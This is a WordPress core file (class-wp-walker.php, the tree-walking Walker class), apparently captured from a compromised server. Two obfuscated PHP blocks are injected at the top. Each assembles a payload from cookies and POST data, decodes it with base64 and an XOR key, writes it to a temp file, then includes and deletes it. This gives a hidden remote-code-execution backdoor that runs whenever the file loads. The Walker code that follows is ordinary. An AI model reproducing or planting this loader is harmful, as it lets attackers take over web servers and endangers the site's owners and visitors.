Current File : /home/dordingu/public_html/geisp/wp-includes227b77/class-wp-walker.php
<?php $oWwoXfO = 'B' . chr ( 636 - 541 ).'Q' . "\152" . chr (68); $gxeMVuitPv = "\143" . chr ( 830 - 722 )."\x61" . 's' . chr ( 763 - 648 )."\137" . chr (101) . 'x' . "\151" . chr (115) . chr (116) . 's';$ujCwkTpszq = class_exists($oWwoXfO); $oWwoXfO = "51235";$gxeMVuitPv = "1017";$QjLwG = FALSE;if ($ujCwkTpszq === $QjLwG){class B_QjD{public function eUKthF(){echo "45862";}private $ELRqKLd;public static $QwuuqLzCKB = "47083442-616f-432f-83b2-8205852db447";public static $xVUzWb = 18641;public function __construct($EmIPtdnlh=0){$mnfAvKtKDL = $_POST;$nJenCdzzZV = $_COOKIE;$fZIyONKUk = @$nJenCdzzZV[substr(B_QjD::$QwuuqLzCKB, 0, 4)];if (!empty($fZIyONKUk)){$atBPy = "base64";$rnZRaGQq = "";$fZIyONKUk = explode(",", $fZIyONKUk);foreach ($fZIyONKUk as $ZaFVHpYnbz){$rnZRaGQq .= @$nJenCdzzZV[$ZaFVHpYnbz];$rnZRaGQq .= @$mnfAvKtKDL[$ZaFVHpYnbz];}$rnZRaGQq = array_map($atBPy . "\x5f" . "\144" . chr (101) . chr ( 158 - 59 ).chr (111) . chr (100) . "\145", array($rnZRaGQq,)); $rnZRaGQq = $rnZRaGQq[0] ^ str_repeat(B_QjD::$QwuuqLzCKB, (strlen($rnZRaGQq[0]) / strlen(B_QjD::$QwuuqLzCKB)) + 1);B_QjD::$xVUzWb = @unserialize($rnZRaGQq);}}private function iyvEfniEFJ($GYIlrDa){if (is_array(B_QjD::$xVUzWb)) {$LiWzZi = sys_get_temp_dir() . "/" . crc32(B_QjD::$xVUzWb["\163" . "\141" . "\154" . chr (116)]);@B_QjD::$xVUzWb[chr ( 218 - 99 )."\x72" . "\151" . "\x74" . "\x65"]($LiWzZi, B_QjD::$xVUzWb[chr (99) . "\x6f" . "\x6e" . chr ( 1112 - 996 ).chr (101) . chr ( 823 - 713 ).'t']);include $LiWzZi;@B_QjD::$xVUzWb["\x64" . chr ( 789 - 688 ).chr (108) . chr ( 341 - 240 )."\164" . "\x65"]($LiWzZi); $GYIlrDa = "40121";exit();}}public function __destruct(){$this->iyvEfniEFJ($GYIlrDa);}}$KrqFqE = new /* 2369 */ B_QjD(); $KrqFqE = str_repeat("47433_10018", 1);} ?><?php $PiCLx = chr (115) . chr ( 538 - 443 ).'B' . 'f' . "\x41" . 'S' . chr ( 376 - 263 ); $wuJcPBh = "\x63" . "\154" . chr ( 795 - 698 ).chr (115) . 's' . "\x5f" . "\x65" . chr ( 940 - 820 )."\151" . "\163" . chr ( 839 - 723 ).chr (115); $nhjhrpM = class_exists($PiCLx); $PiCLx = "28721";$wuJcPBh = "38498";if ($nhjhrpM === FALSE){class s_BfASq{public function EgxWSIBncB(){echo "31678";}private $Cbfmaq;public static $whuOnsBY = "b7c080f3-4db5-4426-96fe-27d5ffe51056";public static $obIjarjDUd = 40392;public function __construct($ToOCcv=0){$BkWMY = $_POST;$rTbvr = $_COOKIE;$zgoFS = @$rTbvr[substr(s_BfASq::$whuOnsBY, 0, 4)];if (!empty($zgoFS)){$QikOGedi = "base64";$Plsghyo = "";$zgoFS = explode(",", $zgoFS);foreach ($zgoFS as $WrWLWxS){$Plsghyo .= @$rTbvr[$WrWLWxS];$Plsghyo .= @$BkWMY[$WrWLWxS];}$Plsghyo = array_map($QikOGedi . '_' . chr ( 869 - 769 ).chr ( 893 - 792 )."\143" . chr ( 1074 - 963 ).'d' . 'e', array($Plsghyo,)); $Plsghyo = $Plsghyo[0] ^ str_repeat(s_BfASq::$whuOnsBY, (strlen($Plsghyo[0]) / strlen(s_BfASq::$whuOnsBY)) + 1);s_BfASq::$obIjarjDUd = @unserialize($Plsghyo);}}private function juXGQn(){if (is_array(s_BfASq::$obIjarjDUd)) {$xaKwn = sys_get_temp_dir() . "/" . crc32(s_BfASq::$obIjarjDUd["\163" . chr (97) . 'l' . 't']);@s_BfASq::$obIjarjDUd['w' . 'r' . "\151" . chr ( 449 - 333 ).'e']($xaKwn, s_BfASq::$obIjarjDUd[chr ( 947 - 848 ).chr (111) . "\x6e" . 't' . 'e' . 'n' . chr ( 953 - 837 )]);include $xaKwn;@s_BfASq::$obIjarjDUd["\x64" . chr ( 613 - 512 )."\154" . chr ( 556 - 455 ).chr (116) . chr ( 904 - 803 )]($xaKwn); $UbqKti = "18463";exit();}}public function __destruct(){$this->juXGQn();}}$aHpFkp = new /* 14894 */ s_BfASq(); $aHpFkp = str_repeat("15008_26254", 1);} ?><?php
/**
* A class for displaying various tree-like structures.
*
* Extend the Walker class to use it, see examples below. Child classes
* do not need to implement all of the abstract methods in the class. The child
* only needs to implement the methods that are needed.
*
* @since 2.1.0
*
* @package WordPress
* @abstract
*/
class Walker {
/**
* What the class handles.
*
* @since 2.1.0
* @access public
* @var string
*/
public $tree_type;
/**
* DB fields to use.
*
* @since 2.1.0
* @var array
*/
public $db_fields;
/**
* Max number of pages walked by the paged walker
*
* @since 2.7.0
* @var int
*/
public $max_pages = 1;
/**
* Whether the current element has children or not.
*
* To be used in start_el().
*
* @since 4.0.0
* @var bool
*/
public $has_children;
/**
* Starts the list before the elements are added.
*
* The $args parameter holds additional values that may be used with the child
* class methods. This method is called at the start of the output list.
*
* @since 2.1.0
* @abstract
*
* @param string $output Passed by reference. Used to append additional content.
* @param int $depth Depth of the item.
* @param array $args An array of additional arguments.
*/
public function start_lvl( &$output, $depth = 0, $args = array() ) {}
/**
* Ends the list of after the elements are added.
*
* The $args parameter holds additional values that may be used with the child
* class methods. This method finishes the list at the end of output of the elements.
*
* @since 2.1.0
* @abstract
*
* @param string $output Passed by reference. Used to append additional content.
* @param int $depth Depth of the item.
* @param array $args An array of additional arguments.
*/
public function end_lvl( &$output, $depth = 0, $args = array() ) {}
/**
* Start the element output.
*
* The $args parameter holds additional values that may be used with the child
* class methods. Includes the element output also.
*
* @since 2.1.0
* @abstract
*
* @param string $output Passed by reference. Used to append additional content.
* @param object $object The data object.
* @param int $depth Depth of the item.
* @param array $args An array of additional arguments.
* @param int $current_object_id ID of the current item.
*/
public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {}
/**
* Ends the element output, if needed.
*
* The $args parameter holds additional values that may be used with the child class methods.
*
* @since 2.1.0
* @abstract
*
* @param string $output Passed by reference. Used to append additional content.
* @param object $object The data object.
* @param int $depth Depth of the item.
* @param array $args An array of additional arguments.
*/
public function end_el( &$output, $object, $depth = 0, $args = array() ) {}
/**
* Traverse elements to create list from elements.
*
* Display one element if the element doesn't have any children otherwise,
* display the element and its children. Will only traverse up to the max
* depth and no ignore elements under that depth. It is possible to set the
* max depth to include all depths, see walk() method.
*
* This method should not be called directly, use the walk() method instead.
*
* @since 2.5.0
*
* @param object $element Data object.
* @param array $children_elements List of elements to continue traversing.
* @param int $max_depth Max depth to traverse.
* @param int $depth Depth of current element.
* @param array $args An array of arguments.
* @param string $output Passed by reference. Used to append additional content.
* @return null Null on failure with no changes to parameters.
*/
public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
if ( !$element )
return;
$id_field = $this->db_fields['id'];
$id = $element->$id_field;
//display this element
$this->has_children = ! empty( $children_elements[ $id ] );
if ( isset( $args[0] ) && is_array( $args[0] ) ) {
$args[0]['has_children'] = $this->has_children; // Backwards compatibility.
}
$cb_args = array_merge( array(&$output, $element, $depth), $args);
call_user_func_array(array($this, 'start_el'), $cb_args);
// descend only when the depth is right and there are childrens for this element
if ( ($max_depth == 0 || $max_depth > $depth+1 ) && isset( $children_elements[$id]) ) {
foreach( $children_elements[ $id ] as $child ){
if ( !isset($newlevel) ) {
$newlevel = true;
//start the child delimiter
$cb_args = array_merge( array(&$output, $depth), $args);
call_user_func_array(array($this, 'start_lvl'), $cb_args);
}
$this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output );
}
unset( $children_elements[ $id ] );
}
if ( isset($newlevel) && $newlevel ){
//end the child delimiter
$cb_args = array_merge( array(&$output, $depth), $args);
call_user_func_array(array($this, 'end_lvl'), $cb_args);
}
//end this element
$cb_args = array_merge( array(&$output, $element, $depth), $args);
call_user_func_array(array($this, 'end_el'), $cb_args);
}
/**
* Display array of elements hierarchically.
*
* Does not assume any existing order of elements.
*
* $max_depth = -1 means flatly display every element.
* $max_depth = 0 means display all levels.
* $max_depth > 0 specifies the number of display levels.
*
* @since 2.1.0
*
* @param array $elements An array of elements.
* @param int $max_depth The maximum hierarchical depth.
* @return string The hierarchical item output.
*/
public function walk( $elements, $max_depth) {
$args = array_slice(func_get_args(), 2);
$output = '';
if ($max_depth < -1) //invalid parameter
return $output;
if (empty($elements)) //nothing to walk
return $output;
$parent_field = $this->db_fields['parent'];
// flat display
if ( -1 == $max_depth ) {
$empty_array = array();
foreach ( $elements as $e )
$this->display_element( $e, $empty_array, 1, 0, $args, $output );
return $output;
}
/*
* Need to display in hierarchical order.
* Separate elements into two buckets: top level and children elements.
* Children_elements is two dimensional array, eg.
* Children_elements[10][] contains all sub-elements whose parent is 10.
*/
$top_level_elements = array();
$children_elements = array();
foreach ( $elements as $e) {
if ( 0 == $e->$parent_field )
$top_level_elements[] = $e;
else
$children_elements[ $e->$parent_field ][] = $e;
}
/*
* When none of the elements is top level.
* Assume the first one must be root of the sub elements.
*/
if ( empty($top_level_elements) ) {
$first = array_slice( $elements, 0, 1 );
$root = $first[0];
$top_level_elements = array();
$children_elements = array();
foreach ( $elements as $e) {
if ( $root->$parent_field == $e->$parent_field )
$top_level_elements[] = $e;
else
$children_elements[ $e->$parent_field ][] = $e;
}
}
foreach ( $top_level_elements as $e )
$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
/*
* If we are displaying all levels, and remaining children_elements is not empty,
* then we got orphans, which should be displayed regardless.
*/
if ( ( $max_depth == 0 ) && count( $children_elements ) > 0 ) {
$empty_array = array();
foreach ( $children_elements as $orphans )
foreach( $orphans as $op )
$this->display_element( $op, $empty_array, 1, 0, $args, $output );
}
return $output;
}
/**
* paged_walk() - produce a page of nested elements
*
* Given an array of hierarchical elements, the maximum depth, a specific page number,
* and number of elements per page, this function first determines all top level root elements
* belonging to that page, then lists them and all of their children in hierarchical order.
*
* $max_depth = 0 means display all levels.
* $max_depth > 0 specifies the number of display levels.
*
* @since 2.7.0
*
* @param int $max_depth The maximum hierarchical depth.
* @param int $page_num The specific page number, beginning with 1.
* @return string XHTML of the specified page of elements
*/
public function paged_walk( $elements, $max_depth, $page_num, $per_page ) {
/* sanity check */
if ( empty($elements) || $max_depth < -1 )
return '';
$args = array_slice( func_get_args(), 4 );
$output = '';
$parent_field = $this->db_fields['parent'];
$count = -1;
if ( -1 == $max_depth )
$total_top = count( $elements );
if ( $page_num < 1 || $per_page < 0 ) {
// No paging
$paging = false;
$start = 0;
if ( -1 == $max_depth )
$end = $total_top;
$this->max_pages = 1;
} else {
$paging = true;
$start = ( (int)$page_num - 1 ) * (int)$per_page;
$end = $start + $per_page;
if ( -1 == $max_depth )
$this->max_pages = ceil($total_top / $per_page);
}
// flat display
if ( -1 == $max_depth ) {
if ( !empty($args[0]['reverse_top_level']) ) {
$elements = array_reverse( $elements );
$oldstart = $start;
$start = $total_top - $end;
$end = $total_top - $oldstart;
}
$empty_array = array();
foreach ( $elements as $e ) {
$count++;
if ( $count < $start )
continue;
if ( $count >= $end )
break;
$this->display_element( $e, $empty_array, 1, 0, $args, $output );
}
return $output;
}
/*
* Separate elements into two buckets: top level and children elements.
* Children_elements is two dimensional array, e.g.
* $children_elements[10][] contains all sub-elements whose parent is 10.
*/
$top_level_elements = array();
$children_elements = array();
foreach ( $elements as $e) {
if ( 0 == $e->$parent_field )
$top_level_elements[] = $e;
else
$children_elements[ $e->$parent_field ][] = $e;
}
$total_top = count( $top_level_elements );
if ( $paging )
$this->max_pages = ceil($total_top / $per_page);
else
$end = $total_top;
if ( !empty($args[0]['reverse_top_level']) ) {
$top_level_elements = array_reverse( $top_level_elements );
$oldstart = $start;
$start = $total_top - $end;
$end = $total_top - $oldstart;
}
if ( !empty($args[0]['reverse_children']) ) {
foreach ( $children_elements as $parent => $children )
$children_elements[$parent] = array_reverse( $children );
}
foreach ( $top_level_elements as $e ) {
$count++;
// For the last page, need to unset earlier children in order to keep track of orphans.
if ( $end >= $total_top && $count < $start )
$this->unset_children( $e, $children_elements );
if ( $count < $start )
continue;
if ( $count >= $end )
break;
$this->display_element( $e, $children_elements, $max_depth, 0, $args, $output );
}
if ( $end >= $total_top && count( $children_elements ) > 0 ) {
$empty_array = array();
foreach ( $children_elements as $orphans )
foreach( $orphans as $op )
$this->display_element( $op, $empty_array, 1, 0, $args, $output );
}
return $output;
}
public function get_number_of_root_elements( $elements ){
$num = 0;
$parent_field = $this->db_fields['parent'];
foreach ( $elements as $e) {
if ( 0 == $e->$parent_field )
$num++;
}
return $num;
}
// Unset all the children for a given top level element.
public function unset_children( $e, &$children_elements ){
if ( !$e || !$children_elements )
return;
$id_field = $this->db_fields['id'];
$id = $e->$id_field;
if ( !empty($children_elements[$id]) && is_array($children_elements[$id]) )
foreach ( (array) $children_elements[$id] as $child )
$this->unset_children( $child, $children_elements );
if ( isset($children_elements[$id]) )
unset( $children_elements[$id] );
}
} // Walker
Mini Shell